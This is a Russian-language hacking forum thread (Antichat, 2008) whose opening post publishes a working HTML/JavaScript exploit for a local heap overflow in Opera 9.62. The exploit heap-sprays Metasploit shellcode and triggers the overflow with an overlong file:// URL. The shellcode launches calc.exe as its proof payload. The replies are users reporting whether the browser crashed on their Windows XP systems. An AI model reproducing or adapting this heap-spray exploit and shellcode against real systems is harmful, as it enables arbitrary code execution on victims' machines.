HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Безопасность и Анонимность
Перезагрузить страницу Opera 9.62 Local Heap Overflow Exploit
   
Ответ
Страница 1 из 3 1 2 3 >
 
Опции темы Поиск в этой теме Опции просмотра

Opera 9.62 Local Heap Overflow Exploit
  #1  
Старый 17.11.2008, 20:10
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
С нами: 10077446

Репутация: 3965


По умолчанию Opera 9.62 Local Heap Overflow Exploit
Opera 9.62 file:// Local Heap Overflow Exploit
  • vulnerability found by send9
  • tested on Windows XP SP3, opera 9.62 international version

Код HTML:
<html>
<head><title>uh?</title></head>
<body>
<script>

	
	// k`sOSe 11/15/2008
	// tested on Windows XP SP3, opera 9.62 international version
	// vulnerability found by send9

	// there are many ways to achieve code execution, tons of function pointers to overwrite.
	// maybe there's one more reliable...

	var i=0;
	
	// push es, pop es
	var block = unescape("%u0607%u0607"); 

	// metasploit WinExec c:\WINDOWS\system32\calc.exe
	var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");

	while (block.length < 81920) block += block;
	var memory = new Array();
	for (;i<1000;i++) memory[i] += (block + shellcode);


	var evil = "file://";

        for(var i = 0; i<16438; i++)
                evil += "X";

	evil += "R."; 

	window.location.replace(evil);

</script>

</body>
</html>
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 17.11.2008, 20:24
.AkeLLa
Banned
Регистрация: 30.08.2008
Сообщений: 477
С нами: 9314246

Репутация: 718
По умолчанию
Работает.
 
Ответить с цитированием

  #3  
Старый 17.11.2008, 20:39
iSeoBot
Участник форума
Регистрация: 11.04.2008
Сообщений: 279
С нами: 9517962

Репутация: 217
По умолчанию
опера упала - хп,сп3 (с последними обновлениями)
 
Ответить с цитированием

  #4  
Старый 17.11.2008, 20:42
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
С нами: 10077446

Репутация: 3965


По умолчанию
На сп2, у мну и 9.52 падала
 
Ответить с цитированием

  #5  
Старый 17.11.2008, 21:14
mr.The
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,205
С нами: 10016425

Репутация: 1257


По умолчанию
Версия: 9.62
Сборка: 10467
Платформа: Win32
Система: Windows XP

ничего не произошло.
 
Ответить с цитированием

  #6  
Старый 17.11.2008, 21:28
.acme
Участник форума
Регистрация: 08.11.2007
Сообщений: 102
С нами: 9740547

Репутация: 93
По умолчанию
Уронило.
 
Ответить с цитированием

  #7  
Старый 17.11.2008, 21:39
Calcutta
Постоянный
Регистрация: 06.08.2007
Сообщений: 347
С нами: 9875796

Репутация: 770
По умолчанию
опера 9.61; winXP SP2, не уронило.
 
Ответить с цитированием

  #8  
Старый 17.11.2008, 22:01
cric.cric
Познающий
Регистрация: 02.06.2008
Сообщений: 52
С нами: 9442507

Репутация: 10
По умолчанию
А как обратно сделать чтобы опера работала о то я переустановил но все ровну неработает!
Последний раз редактировалось cric.cric; 17.11.2008 в 22:06..
 
Ответить с цитированием

  #9  
Старый 17.11.2008, 22:07
Digital Cat
Участник форума
Регистрация: 04.02.2008
Сообщений: 116
С нами: 9613296

Репутация: 237
По умолчанию
OMG!

Что значит "переустановил, а она не работает?"
 
Ответить с цитированием

  #10  
Старый 17.11.2008, 22:08
cric.cric
Познающий
Регистрация: 02.06.2008
Сообщений: 52
С нами: 9442507

Репутация: 10
По умолчанию
Что этот эксплойт где-то прописался или что она сделала и почему после этого если по новой установить Opera все равну падает!
 
Ответить с цитированием
Ответ
Страница 1 из 3 1 2 3 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Metaexploit wofan Защита ОС: вирусы, антивирусы, файрволы. 12 17.11.2008 21:30
Opera 9.5 - релиз! mr.The Мировые новости. Обсуждения. 69 17.06.2008 18:22



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка

Загрузка чата...